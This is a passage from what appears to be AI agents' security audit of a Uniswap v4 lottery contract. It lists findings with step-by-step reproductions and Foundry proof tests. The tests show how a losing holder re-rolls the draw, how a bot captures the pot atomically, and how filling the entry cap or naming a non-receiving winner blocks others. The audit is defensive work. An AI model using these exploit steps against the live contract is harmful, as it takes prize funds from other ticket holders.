     3. FEED (Chainlink ETH/USD proxy) is trusted for ticket sizing; a stale or failing feed falls back to 0.004 ETH per ticket, so ticket counts per dollar change by up to the ETH/USD move since the last update.
     4. MANAGER is the immutable Uniswap v4 PoolManager; its unlock/unlockCallback/burn/take flow was checked against the v4 ABI and the _paying sentinel correctly blocks nested _pay and foreign unlockCallback callers. Verified properties: receipt binding (id, module == msg.sender, keccak(data) == dataHash) and single delivery per id hold; quote() is pure and constant; no code path sends value anywhere except RECIPIENT and a drawn winner (or the winner's chosen address); reentrancy through the winner's receive hook cannot reach a second payout. These are design trust assumptions, documented here as the task requires, not permission bypasses.

     whole finding

     Failing state for item (2): adapter delivers receipt id=1, buy, moduleFeeEth = 3 ether but mints only 2 ether of claims to the lottery. onTrade accrues pot += 1 ether, recipientAccrued += 2 ether, then collectFees(2 ether) succeeds (2 <= reserve 2), leaving reserveClaims() == 0 while openPots == 1 ether.

     After closeRound/draw the winner's claim(0) reverts with InvalidCollection at line 274 (amount 1 ether > reserve 0) and prizeLiability stays 1 ether forever; expected is that the shortfall is detected or shared, not borne entirely by the prize.

     Failing state for item (1): governance returns adapterFor(lottery) = attacker; attacker calls onTrade with id=any, module=attacker, buy=true, moduleFeeEth=2.5e18 and data = TICKET_TAG ++ attacker, dataHash = keccak(data); 1,000,000 tickets are issued to attacker without any swap having occurred.

     whole reproduction
5. Audit economicsAgent #460found 2 medium, 1 low, 2 info

   Review complete. The findings file at .imd-findings.json holds 5 entries: 2 medium, 1 low, 2 info. No code was changed, and no files other than the findings file remain in the tree.

   Entry files read in full: src/ClausBuyerLottery.sol and its only import src/IClausTradeProgram.sol. Runtime dependencies were verified on mainnet through the chain 1 RPC and Sourcify exact-match sources: ClausGovernance, ComputeProtectedProgram adapter, TradeExtensionHost, the ProtectedHook implementation behind the hook proxy, the live ClausLpFeeCollector program, the Chainlink ETH/USD feed and the PoolManager. Coverage is complete for the assigned area.

   Findings

   • Medium, draw() re-roll. When nobody draws within 256 blocks, draw() reschedules to a fresh hash with no limit. A losing ticket holder who computes the outcome off-chain can wait and re-roll for gas cost only until they win. Confirmed with a scratch Foundry test using mocked governance and feed.
   • Medium, bot-capturable pot. The pot is funded by all volume, but only buys carrying the 24-byte tag hold tickets, zero-ticket pots roll forward, delivery and closeRound are permissionless, and delivery works in the same transaction as the swap. A bot can buy, deliver, and close atomically at the 4-hour mark and take a pot funded by everyone else for about 5% of its small position in fees.
   • Low, permanently stuck prize. A winning beneficiary that cannot receive ETH and cannot call claimTo (any token contract, a dead address) locks that round's pot forever. There is no expiry or sweep.
   • Info, entry cap. Filling 20,000 entries drops later buyers' tickets while keeping their pot contributions. Quantified as unprofitable below roughly $30M of round volume.
   • Info, trust assumptions. Operator can uninstall the module; governance mappings are write-once; the hook proxy admin's owner is zero, so fee math is now frozen; Chainlink failure only shifts pricing to the fallback.

   Verified properties. Receipt replay is blocked twice, dataHash and module binding match the host, the adapter forwards exactly the claims the program accounts for, the claims conservation invariant holds on every path, recipient collection cannot spend prize funds, re-entrancy through native transfers is blocked by the _paying flag and the host's outside-swap check, and the quote matches the live program apart from the documented 0.10% module increase.

   Not done. No proof files were attached since no finding reached high severity. The scratch test and build outputs were removed after use.

   ran onclaude · claude-fable-5-1 · 37 turns · 13m 21s · 674 in · 54.2K out · 1.6M cached

   submission9ab92a30ad97febfd99f3f6c98689a780554dc0f5fc2ec8b9c9449bc6fb0edc5

   devicee02bec63aa9dcaa5db86825dfd091a9d58ab7ac3b838b4733c1b819cc0667d0e

   started from50766fa1031cf2bbea0688e1062ce2c6bdf4825e

   bundlenone

   • mediumExpired-hash reschedule in draw() gives any losing ticket holder a free re-roll whenever the draw is unattended for 256 blockssrc/ClausBuyerLottery.sol:202

     draw(r) is permissionless and unincentivised. When blockhash(targetBlock) has expired (no draw within 256 blocks, about 51 minutes), the round is not settled with any committed value; it is rescheduled to block.number + 5 and the pick is taken from a fresh, independent hash. Nothing bounds how often this can happen.

     A ticket holder who computes the outcome off-chain as soon as block targetBlock is mined therefore has a dominant strategy: if the committed hash makes them the winner, call draw immediately; if not, do nothing and, once 256 blocks have passed, call draw to reschedule and get a new hash. Each re-roll costs one cheap transaction (about 35k gas) and no capital.

     With a minority ticket share p, the expected number of rolls to win is 1/p, i.e. roughly 52 minutes per roll, so a 10% holder is near-certain to take the pot within a working day as long as the honest majority (ordinary buyers who do not run bots) does not call draw within 51 minutes of every target block. The NatSpec only acknowledges proposer withholding, which costs a block reward; this path costs gas only and is open to any EOA.

     The pot is prize money that legitimately belongs to the other ticket holders in proportion to their tickets, so this is a prize misallocation, not self-harm.

     Fix direction (keeps the design): pay a small draw bounty from the pot to msg.sender of a successful draw so that bots race to settle every round at targetBlock+1; and/or cap the number of reschedules per round (e.g. after N expiries settle on the hash of the reschedule block itself, or roll the pot to the next round) so waiting is not a free option. A VRF would remove the issue entirely but is a scope decision.

     whole finding

     State: round 0 has entries Alice (200 tickets) and Mallory (20 tickets), opened at t0.

     Steps: (1) at t0+4h anyone calls closeRound(); targetBlock = B+5.

     (2) At block B+6 Mallory reads blockhash(B+5) and computes pick = keccak256(abi.encode(h, 0, address(lottery))) % 220; suppose pick < 200, so _find returns Alice.

     Mallory sends nothing.

     (3) Nobody else calls draw(0) for 256 blocks.

     (4) At block B+5+257 Mallory calls draw(0): line 201 returns h == 0, line 203 sets targetBlock = B+267, round.settled stays false, draw returns address(0).

     (5) At B+268 Mallory recomputes with the new hash; if she wins she calls draw(0), which sets round.winner = Mallory and moves the full pot into prizeLiability; otherwise repeat from (3).

     Expected: the winner is fixed by the first committed hash, or at least rescheduling is not under a loser's control.

     Actual: a losing ticket holder re-rolls at will for gas cost only, until the pot is theirs.

     whole reproduction

   • mediumPot funded by all volume but contested only by tagged tickets: an atomic buy-deliver-close captures each pot with a minimal ticket position (bot-capturable prize)src/ClausBuyerLottery.sol:126

     Every trade (sells, and buys routed without the 24-byte TICKET_TAG hookData that default routers do not add) contributes fee/3 to the open round's pot, but only buys that carry the tag receive tickets.

     On top of that, (a) TradeExtensionHost.execute is callable by anyone and credits tickets to the round open at delivery time, (b) closeRound is callable by anyone at exactly openedAt + 4h, and (c) rounds with zero tickets roll their whole pot into the next round (lines 181-186), so pots accumulate across rounds until a tagged entry exists.

     A bot can therefore, in a single transaction at the 4-hour boundary: swap a small tagged buy, call host.execute on its own fresh receipt (allowed because the PoolManager is locked again after the swap), and call closeRound(). It then holds 100% of the tickets in a round whose pot was funded by everyone else, and can sell the tokens back immediately. Economics with the live fee plan (2.4% hook rate): a 4h window with $500k of untagged volume yields a pot of about $500 in ETH.

     The bot's tagged buy of $1,000 earns about 100 tickets, costs about $24 in buy fees plus about $24 in sell-back fees plus slippage and gas (about $60 total), and wins $500 with certainty if no other tagged tickets exist, or with probability V_bot/(V_bot+V_tagged) otherwise. The bot profits whenever untagged volume exceeds roughly 47x its own buy and tagged volume is small, which is the default state because tagging requires custom hookData.

     The expected prize for the honest tagged buyer the program is meant to reward is diluted accordingly, and the extra 0.10% that all traders now pay is diverted to whoever runs the bot.

     Fix direction (design decision for the requester): credit tickets to every buy by routing attribution through the recorded trade.sender when hookData is untagged (routers can be excluded by an allow-list) or scale the pot by tagged volume only (prize = PRIZE_PIPS of tagged buy gross, remainder to the recipient), so that the pot is funded by the same population that can win it; and snapshot entries at closeRound - DRAW_DELAY_BLOCKS or require that a ticket's receipt was recorded at least one round before delivery to remove the atomic last-second entry.

     whole finding

     State: round r opened at t0; during [t0, t0+4h] traders generate $500k of gross volume with no TICKET_TAG hookData (and/or sells); rounds[r].pot = 0.001 * $500k in ETH, rounds[r].tickets = 0.

     Steps in one transaction at t0+4h by contract M: (1) router swap buying $1,000 of token with hookData = 0x434c544b ++ address(M) (24 bytes); the hook records receipt id = host.nextReceipt() with module = adapter, buy = true, dataHash = keccak256(hookData).

     (2) M calls host.execute(trade, hookData, 1_000_000); adapter.onTrade transfers the claims and calls lottery.onTrade; _enter credits n = (fee*1e6/3000)/ticketWei (about 100) tickets to M and the pot grows by about $1.

     (3) M calls closeRound(): tickets = 100 != 0 so targetBlock = block.number + 5.

     (4) After targetBlock, draw(r) returns M for any hash; claim(r) pays M the whole pot (about $501).

     (5) M sells its tokens.

     Expected: a lottery among buyers funded by the extra 0.10%.

     Actual: the pot is reliably captured by a last-second $1,000 tagged entry for about $60 in fees; honest tagged buyers earlier in the round, if any, are out-ticketed at will and all traders' 0.10% surcharge ends up with the bot.

     whole reproduction

   • lowA winning beneficiary that can neither receive ETH nor call claimTo() locks that round's pot forever (no expiry, sweep or roll-over of unclaimed prizes)src/ClausBuyerLottery.sol:253

     The beneficiary is an arbitrary 20-byte value chosen by the swapper in hookData. _claim pushes native ETH through PoolManager.take to the winner, which reverts if the winner is a contract without a payable receive/fallback, and the only alternative, claimTo, must be called by the winner itself.

     A contract that cannot send arbitrary calls (any ERC-20 token contract, a burned CREATE2 address, 0x...dEaD) can win but never be paid; prizeLiability stays raised and the ETH claims stay in the lottery with no sweep, expiry or roll-forward. This is reachable by mistake (a user tags a contract wallet that lacks receive) and deliberately: a griefer tagging a dead address with a $10 buy removes the pot with probability equal to their ticket share.

     Fix: after a claim window (e.g. 30 days) let anyone roll an unclaimed pot into the open round (round.claimed = true; rounds[currentRound].pot += amount; openPots += amount; prizeLiability -= amount), or fall back to minting ERC-6909 claims to the winner instead of taking native ETH when the transfer fails.

     whole finding

     Input: a buy with hookData = 0x434c544b ++ 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 (USDC, a contract with no payable fallback).

     State: it is the only tagged entry in round r.

     After closeRound and draw(r), rounds[r].winner = USDC. claim(r): _pay -> unlock -> unlockCallback -> PoolManager.take(address(0), USDC, pot) reverts with NativeTransferFailed, the whole claim reverts. claimTo(r, to) reverts Unauthorized for any msg.sender != USDC, and USDC cannot call it.

     Expected: the prize is paid or eventually returned to the lottery economy.

     Actual: round.claimed stays false, prizeLiability keeps the pot permanently, the claims are unreachable.

     whole reproduction

   • infoEntry cap of 20,000 per round silently drops tickets (but not pot contributions) of later tagged buyers; filling it is costly and not profitable at current volumesrc/ClausBuyerLottery.sol:146

     Once a round holds 20,000 entries every later tagged buy still pays its fee/3 into the pot but receives no tickets, which an attacker who filled the cap could use to exclude competitors.

     Quantified: the cheapest entry is one ticket, i.e. a gross buy of about $10 (ticketWei at the live feed price of about $2,344 is 0.00427 ETH). Filling the cap needs 20,000 separate swaps and 20,000 execute deliveries: about $200k of round-trip volume, about $9.6k in hook fees, and roughly 20,000 x (250k + 300k) gas, about 11 ETH at 1 gwei. The attacker already holds all 2,000,000 tickets, so the exclusion only pays if the remaining 4h volume exceeds roughly $30M.

     Reported for completeness; no change required unless volume grows by orders of magnitude. Note the cap check happens before tickets are computed, so dropped buyers get no refund of the prize share they funded.

     State: _entries[r].length == 20000 (attacker-filled as above).

     Input: honest tagged buy of $5,000 delivered in round r. onTrade: _enter emits TicketsDropped(r, id, who, 500) at line 147 and returns at line 148 while line 121 already added prize = fee/3 (about $5) to rounds[r].pot.

     Expected: a tagged buyer always gets tickets proportional to volume or does not fund the pot.

     Actual: pot funded, zero tickets.

   • infoPrivileged roles and mutable dependencies that can change behaviour after review (trust assumptions, verified on mainnet)src/ClausBuyerLottery.sol:35

     Verified against mainnet state at block 26287466 via the public RPC for chain

     1. (1) ClausGovernance 0x180eAE78 (verified source) has no upgrade path; adapterFor/approvedAdapter are write-once, so the auth check in onTrade cannot be broken after deployment. FOUNDER 0xBb145cA8 can replace the operator; the operator 0xAB716305 can call setModule to install or uninstall this program's adapter, which only stops new receipts (pending ones remain deliverable) and cannot touch the lottery's claims.
     2. TradeExtensionHost 0xea043646 and ComputeProtectedProgram adapters are immutable; the host lets anyone deliver any pending receipt with a caller-chosen gas limit between 10k and 5M, outside swaps only, and the adapter forwards exactly moduleFeeEth - compute claims before calling onTrade, so the lottery's assumption that fee claims equal trade.moduleFeeEth holds.
     3. The hook 0x37Bfb8AC is a TransparentUpgradeableProxy whose ProxyAdmin 0x1f22E4B0 has owner() == address(0), so the fee math that mints the module's claims can no longer be changed.
     4. FEED 0x5f4eC3Df is the Chainlink ETH/USD proxy (8 decimals, 1h heartbeat, latestRoundData costs about 16k gas, under FEED_GAS); Chainlink can change the aggregator; a stale, zero or failing feed only moves ticket pricing to the 0.004 ETH fallback and never blocks delivery.
     5. RECIPIENT 0x5a428Ea2 is an EOA; if it ever gains code that rejects ETH (EIP-7702), collection is deferred but never lost. (6) quote() returns [12000,3000,1500,0,3500,3000]; the live program ClausLpFeeCollector returns [12000,3000,1500,0,3500,2000], so the NatSpec claim that only the module bucket grows by 0.10% (total 2.3% -> 2.4% after the adapter's 1000 compute pips) is accurate; LP stays 0 as before. Verified properties: receipt replay is blocked twice (host deletes pending; received[id]); dataHash and module binding match the host; claims conservation holds (claims >= openPots + prizeLiability + recipientAccrued - recipientCollected on every path); all re-entrancy through take() is blocked by _paying and by the host's NotOutsideSwap check; recipient collection can never spend prize funds; onTrade needs well under 400k gas and the self-call pattern with 150k gas has 58 successes and 0 deferrals in the last 40k blocks for the identical live collector.

     whole finding

     State: operator calls ClausGovernance.setModule(compute) after the lottery was active.

     Effect: no new receipts carry the lottery's adapter as module; pending receipts remain deliverable and onTrade still accepts them; openPots and prizeLiability remain claimable.

     No funds move.

     Listed as a trust assumption, not a defect.

6. Audit judgeAgent #1207found 1 medium, 5 low, 1 info

   The review is complete and .imd-findings.json holds seven findings. No source or configuration file was changed; only .imd-findings.json and scratch tests under test/scratch/ were written.

   What I read. Both entry files in full: src/ClausBuyerLottery.sol (the lottery contract and its three local interfaces) and its only import src/IClausTradeProgram.sol. Governance, the PoolManager, the Chainlink feed, the adapter and the host are not in the repository. I spot-checked mainnet over a public RPC: the feed reports "ETH / USD" with a fresh answer, governance and the PoolManager have code, and the recipient is an EOA.

   How specialist findings were handled. Every finding was reproduced against the code before being kept. Both attached specialist proofs failed for the reasons stated. The three reroll reports, the four entry-cap reports, the three accounting reports and the three trust-assumption reports were merged into one finding each. All four embedded proofs fail on the current code and pass on a copy with a minimal fix applied.

   Findings kept, ranked:

   • Medium, line 202. Unlimited rescheduling in draw() after a 256-block expiry lets a losing ticket holder re-roll the winner for gas only. In the test a 5% holder won after 21 re-rolls. Proof attached.
   • Low, line 146. The 20,000-entry cap drops later tagged buyers' tickets while their 0.10% still funds the pot. Downgraded from the math specialist's medium because filling the cap costs far more than any realistic pot. Proof attached.
   • Low, line 253. A winner that rejects ETH and cannot call claimTo locks that round's pot forever. Proof attached. The proof passes under a claims-transfer fallback; a time-based roll-over fix would need its own test.
   • Low, line 142. A fresh feed answer above 1e27 makes the ticket price zero and tagged buy receipts revert with division by zero, contrary to the NatSpec promise. Proof attached.
   • Low, line 114. The replay guard is keyed by receipt id only, so a rotated adapter with overlapping ids is rejected. Kept low because it depends on the host's id scheme, which I could not verify.
   • Low, line 274. Accrual trusts the reported module fee without reconciling against received claims, so collectFees can spend reserve that backs drawn prizes if the adapter over-reports.
   • Info, line 113. Privileged roles, mutable dependencies, design notes and verified properties.

   Dropped. The economics specialist's "atomic last-second tagged entry captures the pot" report. Untagged volume funding a pot contested only by tagged buyers is the documented design, and the late entry's ticket share stays volume-proportional, so it is not a defect. It is noted as a design point in the info finding.

   Coverage limits. No Slither, no fork tests, and the adapter, host and governance source was not read. Mainnet claims attributed to the economics specialist are marked as not verified by me.

   ran onclaude · claude-fable-5-1 · 39 turns · 13m 18s · 706 in · 48.9K out · 1.7M cached

   submissionc236a081d9734da6a449c0d541a247d07e7d2545b5c05d53f02ba3b5b01ace17

   device9ab27edcfd62be0229d8dab7c3d2e1fc7a700a4379b5ea80679a0e4349b5b37e

   started from50766fa1031cf2bbea0688e1062ce2c6bdf4825e

   bundlenone

   • mediumdraw() reschedules without limit after a 256-block expiry, so any losing ticket holder can re-roll the winner for gas onlysrc/ClausBuyerLottery.sol:202

     draw(r) is permissionless and nothing in the protocol (onTrade, closeRound, claim) triggers a pending draw automatically. When blockhash(targetBlock) has expired (no draw within 256 blocks, about 51 minutes on mainnet) the round is not settled from any committed value: lines 202-206 set targetBlock = block.number + 5, leave settled == false and return address(0). The number of reschedules is unbounded.

     The outcome is therefore decided not by the target block but by whoever watches: a ticket holder simulates the pick off-chain at target+1 (the hash and the entry list are public), calls draw only when the pick lands on them, and otherwise waits for the hash to expire and calls draw to obtain a fresh independent target. Each re-roll costs one cheap transaction and no capital.

     With ticket share p the expected number of re-rolls is 1/p, so a 5% holder needs about 20 re-rolls (about 17 hours) and a 25% holder about 4. The honest majority loses unless someone draws within 51 minutes of every target block, and nothing pays anyone to do so. The NatSpec (lines 31-33) only discloses proposer withholding, which costs a block reward; this path needs no validator and is open to any address.

     Merged from the economics, flow and math specialists (same mechanism, same line). Related, unenforced: closeRound() is callable by anyone at any time after openedAt + 4h and sets targetBlock = block.number + 5, so a proposer who knows the schedule can place the target on its own slot; the pot is not bounded relative to block rewards. Fix (keeps the design): do not draw a fresh random target on expiry.

     Either commit on the first draw attempt after target (store blockhash(target) through a permissionless commit anyone may call within the window) and resolve deterministically from an already-committed value after expiry (post-Pectra the EIP-2935 history contract gives an 8191-block window), or cap reschedules at one and make the second resolution deterministic; and/or pay a small draw bounty from the pot so bots race to settle at target+1.

     A VRF would remove the issue but is a scope decision.

     whole finding

     State: round 0 holds A with 19,000 tickets (tagged buy, moduleFeeEth 0.1425 ether) and B with 1,000 tickets (moduleFeeEth 0.0075 ether), ETH/USD feed 4000e8 fresh so ticketWei = 0.0025 ether.

     Steps: (1) warp 4h, anyone calls closeRound(): targetBlock = T = block.number + 5.

     (2) At T+1 compute pick = keccak256(abi.encode(blockhash(T), 0, lottery)) % 20000 and resolve against entryAt(0, i); in the test this picks A.

     (3) B does not call draw; nobody else does.

     (4) At T+257 B calls draw(0): blockhash(T) == 0, targetBlock becomes T+262, settled stays false, returns address(0).

     (5) B repeats (2)-(4) until the pick at the new target lands on B, then calls draw(0) within the window.

     Expected: the winner is fixed by the first target T regardless of who calls draw or when (or at most one reschedule).

     Actual: after 21 re-rolls the 5% holder B is drawn (test test_losingHolderRerollsUntilWin, 'rerolls needed: 21', 'final winner: 0x...bBB1') and claim(0) would pay B the whole 0.05 ether pot.

     Verified with forge 1.8.3 using mocks etched at the constant GOVERNANCE, MANAGER and FEED addresses.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity ^0.8.26;
     
     import "forge-std/Test.sol";
     import {ClausBuyerLottery} from "src/ClausBuyerLottery.sol";
     import {ProgramTypes} from "src/IClausTradeProgram.sol";
     
     contract MockGov {
         mapping(address => address) public adapterFor;
         mapping(address => bool) public approvedAdapter;
         function set(address p, address a) external { adapterFor[p] = a; approvedAdapter[a] = true; }
     }
     
     contract MockFeed {
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 4000e8, block.timestamp, block.timestamp, 1);
         }
     }
     
     interface ICb { function unlockCallback(bytes calldata) external returns (bytes memory); }
     
     contract MockManager {
         mapping(address => uint256) public bal;
         bool unlocked;
         function balanceOf(address a, uint256) external view returns (uint256) { return bal[a]; }
         function mint(address a, uint256 x) external { bal[a] += x; }
         function unlock(bytes calldata d) external returns (bytes memory) {
             require(!unlocked, "AlreadyUnlocked");
             unlocked = true;
             bytes memory r = ICb(msg.sender).unlockCallback(d);
             unlocked = false;
             return r;
         }
         function burn(address from, uint256, uint256 x) external { bal[from] -= x; }
         function take(address, address to, uint256 x) external { (bool ok,) = to.call{value: x}(""); require(ok, "NativeTransferFailed"); }
         receive() external payable {}
     }
     
     /// Finding: draw() reschedules a round whenever blockhash(targetBlock) has expired, with no limit.
     /// A losing ticket holder who sees the committed hash pick someone else simply waits 256 blocks
     /// and calls draw() to get a fresh, independent target. Repeating this until a hash favours them
     /// gives a minority holder the whole pot for gas only.
     contract RerollTest is Test {
         ClausBuyerLottery lot;
         MockGov gov;
         MockManager mgr;
         address adapter = address(0xA11);
         address A = address(0xAAA1);
         address B = address(0xBBB1);
     
         function setUp() public {
             vm.etch(0x180eAE784dEe739FBab432B06f78bF9a98Aae334, address(new MockGov()).code);
             vm.etch(0x000000000004444c5dc75cB358380D2e3dE08A90, address(new MockManager()).code);
             vm.etch(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419, address(new MockFeed()).code);
             gov = MockGov(0x180eAE784dEe739FBab432B06f78bF9a98Aae334);
             mgr = MockManager(payable(0x000000000004444c5dc75cB358380D2e3dE08A90));
             vm.deal(address(mgr), 1000 ether);
             vm.warp(1_000_000);
             vm.roll(1000);
             lot = new ClausBuyerLottery();
             gov.set(address(lot), adapter);
         }
     
         function _buy(uint256 id, uint256 fee, address who) internal {
             bytes memory data = abi.encodePacked(bytes4(0x434c544b), who);
             ProgramTypes.Trade memory t = ProgramTypes.Trade(id, adapter, address(0xdead), true, 0, 0, 0, fee,
                 block.number, block.timestamp, keccak256(data));
             mgr.mint(address(lot), fee);
             vm.prank(adapter);
             lot.onTrade(t, data);
         }
     
         // Off-chain simulation of the draw: what draw(0) would return right now.
         function _pickAt(uint64 target) internal view returns (address) {
             bytes32 h = blockhash(target);
             require(h != bytes32(0), "hash expired");
             (, , uint96 tickets, , , ,) = lot.rounds(0);
             uint256 pick = uint256(keccak256(abi.encode(h, uint256(0), address(lot)))) % uint256(tickets);
             (address b0, uint256 c0) = lot.entryAt(0, 0);
             if (pick < c0) return b0;
             (address b1,) = lot.entryAt(0, 1);
             return b1;
         }
     
         function test_losingHolderRerollsUntilWin() public {
             // ticketWei = 10e8 * 1e18 / 4000e8 = 0.0025 ether. A: 19,000 tickets, B: 1,000 tickets.
             _buy(1, 0.1425 ether, A); // 47.5 ETH volume
             _buy(2, 0.0075 ether, B); // 2.5 ETH volume
             (, , uint96 tickets, , , ,) = lot.rounds(0);
             assertEq(uint256(tickets), 20_000);
     
             vm.warp(block.timestamp + 4 hours);
             lot.closeRound();
             (, uint64 target, , , , ,) = lot.rounds(0);
             vm.roll(target + 1);
             address first = _pickAt(target);
             address loser = first == A ? B : A;
             emit log_named_address("winner fixed by the first target", first);
     
             // The loser never calls draw while the committed hash is live. Nobody else does either.
             uint256 rerolls;
             address winner;
             while (true) {
                 vm.roll(target + 257); // blockhash(target) is now 0
                 vm.prank(loser);
                 winner = lot.draw(0);
                 if (winner != address(0)) break; // a fixed contract may settle here instead
                 rerolls++;
                 (, target, , , , ,) = lot.rounds(0);
                 vm.roll(target + 1);
                 if (_pickAt(target) == loser) {
                     vm.prank(loser);
                     winner = lot.draw(0);
                     break;
                 }
                 require(rerolls < 1000, "unlucky run");
             }
             emit log_named_uint("rerolls needed", rerolls);
             emit log_named_address("final winner", winner);
     
             // Expected: the outcome committed by the first target stands (or at most one reschedule).
             // Actual: the loser rerolls at will until the pick lands on them.
             assertTrue(winner == first || rerolls <= 1, "losing holder rerolled the draw until it won");
         }
     }

     whole proof

   • lowPer-round cap of 20,000 entries drops later tagged buyers' tickets while their 0.10% prize share still funds the potsrc/ClausBuyerLottery.sol:146

     onTrade credits the receipt's prize share to rounds[r].pot and openPots (lines 120-124) before _enter runs. Once a round holds MAX_ENTRIES_PER_ROUND entries, _enter emits TicketsDropped and returns (lines 146-149): the buyer has paid into the pot but holds no ticket and gets no revert it could notice.

     The cap counts entries, not tickets, and one entry needs only one ticket (about $10 of buy volume at the live feed price), so one actor can fill all 20,000 slots at the start of a round with minimum tagged buys and then hold 100% of the tickets for the rest of the round while every later tagged buy, however large, funds a prize only the filler can win. _find() is a binary search, so the cap is not needed to bound draw() gas.

     Cost to the filler is about $200k of round-trip volume, about $4.8k in 2.4% program fees and 20,000 swap+delivery transactions (roughly 11 ETH of gas at 1 gwei), against a pot of 0.1% of the remaining round volume, so the capture only pays at tens of millions of dollars of round volume; at current volume it is griefing. Severity low for that reason, although the stated rule that tagged buys enter the open round is broken silently. Merged from all four specialists (same line).

     Fix: cap tickets per round instead of entries (uint96 already bounds them), or merge consecutive entries from the same beneficiary into the last Entry (the cumulative layout allows it), or require a minimum ticket count per entry; and keep ticket issuance consistent with prize funding so a dropped receipt does not pay into the pot.

     whole finding

     State: fresh round 0, feed 3000e8 fresh (ticketWei = 3.333e15).

     Steps: (1) adapter delivers 20,000 buy receipts with moduleFeeEth = 1e13 and data = 0x434c544b ++ attacker: each earns 1 ticket, entryCount(0) == 20,000, rounds(0).tickets == 20,000.

     (2) adapter delivers an honest buy with moduleFeeEth = 0.3 ether (100 ETH volume, 30,000 tickets expected) and data = 0x434c544b ++ honest.

     Expected: rounds(0).tickets == 50,000 and the honest buyer holds 60% of the round.

     Actual: rounds(0).pot rises by 0.1 ether, TicketsDropped is emitted, tickets stays 20,000, and draw(0) always returns the attacker.

     The attached test (from the math specialist, re-run by me) fails on the current code with 'honest buyer received no tickets although it funded the prize: 20000 <= 20000' under the default gas limit (about 55 s because of the 20,000-iteration loop).

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity ^0.8.26;
     
     import "forge-std/Test.sol";
     import {ClausBuyerLottery} from "src/ClausBuyerLottery.sol";
     import {ProgramTypes} from "src/IClausTradeProgram.sol";
     
     contract MockGov {
         address public adapter;
         constructor(address a) { adapter = a; }
         function adapterFor(address) external view returns (address) { return adapter; }
         function approvedAdapter(address a) external view returns (bool) { return a == adapter; }
     }
     
     contract MockFeed {
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 3000e8, block.timestamp, block.timestamp, 1);
         }
     }
     
     contract EntryCapTest is Test {
         ClausBuyerLottery lot;
         uint256 nextId = 1;
     
         function setUp() public {
             lot = new ClausBuyerLottery();
             MockGov g = new MockGov(address(this));
             vm.etch(lot.GOVERNANCE(), address(g).code);
             vm.store(lot.GOVERNANCE(), bytes32(0), bytes32(uint256(uint160(address(this)))));
             vm.etch(lot.FEED(), address(new MockFeed()).code);
         }
     
         function _buy(address who, uint256 moduleFee) internal {
             bytes memory data = abi.encodePacked(bytes4(0x434c544b), who);
             ProgramTypes.Trade memory t;
             t.id = nextId++;
             t.module = address(this);
             t.buy = true;
             t.moduleFeeEth = moduleFee;
             t.dataHash = keccak256(data);
             lot.onTrade(t, data);
         }
     
         // Attacker fills the round's 20,000 entry slots with minimum (1-ticket, ~$10) buys.
         // A later honest tagged buy of 100 ETH still pays 0.1 ETH into the pot but gets
         // zero tickets, so the attacker wins that 0.1 ETH with certainty.
         function test_entryCapDropsTicketsButKeepsPrize() public {
             address attacker = address(0xA11CE);
             address honest = address(0xB0B);
             vm.pauseGasMetering();
             for (uint256 i; i < 20_000; i++) _buy(attacker, 1e13); // 1 ticket each at $3000/ETH
             vm.resumeGasMetering();
             assertEq(lot.entryCount(0), 20_000);
     
             uint256 potBefore;
             (, , , , , , potBefore) = lot.rounds(0);
             _buy(honest, 0.3 ether); // 100 ETH buy => module fee 0.3 ETH, prize 0.1 ETH
             (, , uint96 tickets, , , , uint256 potAfter) = lot.rounds(0);
             assertEq(potAfter - potBefore, 0.1 ether, "honest buy funded the pot");
     
             // Expected: the 100 ETH buy (30,000 tickets) is represented in the draw.
             // Actual: it was dropped; all 20,000 tickets belong to the attacker.
             assertGt(uint256(tickets), 20_000, "honest buyer received no tickets although it funded the prize");
         }
     }

     whole proof

   • lowA winning beneficiary that rejects ETH and cannot call claimTo() locks that round's pot foreversrc/ClausBuyerLottery.sol:253

     The beneficiary is an arbitrary 20-byte value chosen by the swapper in hookData. _claim pushes native ETH through PoolManager.take(address(0), to, amount), which reverts (NativeTransferFailed) when the winner is a contract without a payable receive/fallback, so claim(r) reverts for everyone.

     The only alternative, claimTo(r, to), requires msg.sender == rounds[r].winner, which a contract that cannot issue arbitrary calls (an ERC-20 token, a burned CREATE2 address, a vault without an execute path) can never satisfy. prizeLiability stays raised and the ETH claims stay in the lottery with no expiry, sweep or roll-forward.

     Reachable by mistake (a user tags a contract wallet that lacks receive) and deliberately: a griefer who tags such an address with a $10 buy removes the pot from circulation with probability equal to their ticket share. The NatSpec 'Unclaimed prizes stay owed' covers a winner who has not claimed yet, not one that can never be paid.

     Fix (keeps the design): after a claim window (e.g. 30 days) let anyone roll an unclaimed pot into the open round (round.claimed = true; rounds[currentRound].pot += amount; openPots += amount; prizeLiability -= amount), or on transfer failure fall back to transferring the ERC-6909 claims to the winner instead of taking native ETH.

     whole finding

     State: the only tagged entry in round 0 is a buy with data = 0x434c544b ++ D where D is a contract with no receive/fallback (test uses a fresh empty contract; mainnet USDC behaves the same).

     Steps: (1) warp 4h, closeRound(); (2) at targetBlock+1 draw(0) returns D and prizeLiability == 0.1 ether; (3) anyone calls claim(0): _pay -> unlock -> unlockCallback -> take reverts NativeTransferFailed and the whole call reverts; (4) claimTo(0, x) from any address other than D reverts Unauthorized, and D cannot call it.

     Expected: the prize is paid or eventually returned to the lottery economy.

     Actual: rounds(0).claimed stays false and prizeLiability stays 0.1 ether after a year (test test_nonReceivingWinnerLocksPot fails with 'pot of round 0 is locked forever').

     Verified with forge 1.8.3 using a PoolManager mock whose take() performs the native transfer.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity ^0.8.26;
     
     import "forge-std/Test.sol";
     import {ClausBuyerLottery} from "src/ClausBuyerLottery.sol";
     import {ProgramTypes} from "src/IClausTradeProgram.sol";
     
     contract MockGov {
         mapping(address => address) public adapterFor;
         mapping(address => bool) public approvedAdapter;
         function set(address p, address a) external { adapterFor[p] = a; approvedAdapter[a] = true; }
     }
     
     contract MockFeed {
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 4000e8, block.timestamp, block.timestamp, 1);
         }
     }
     
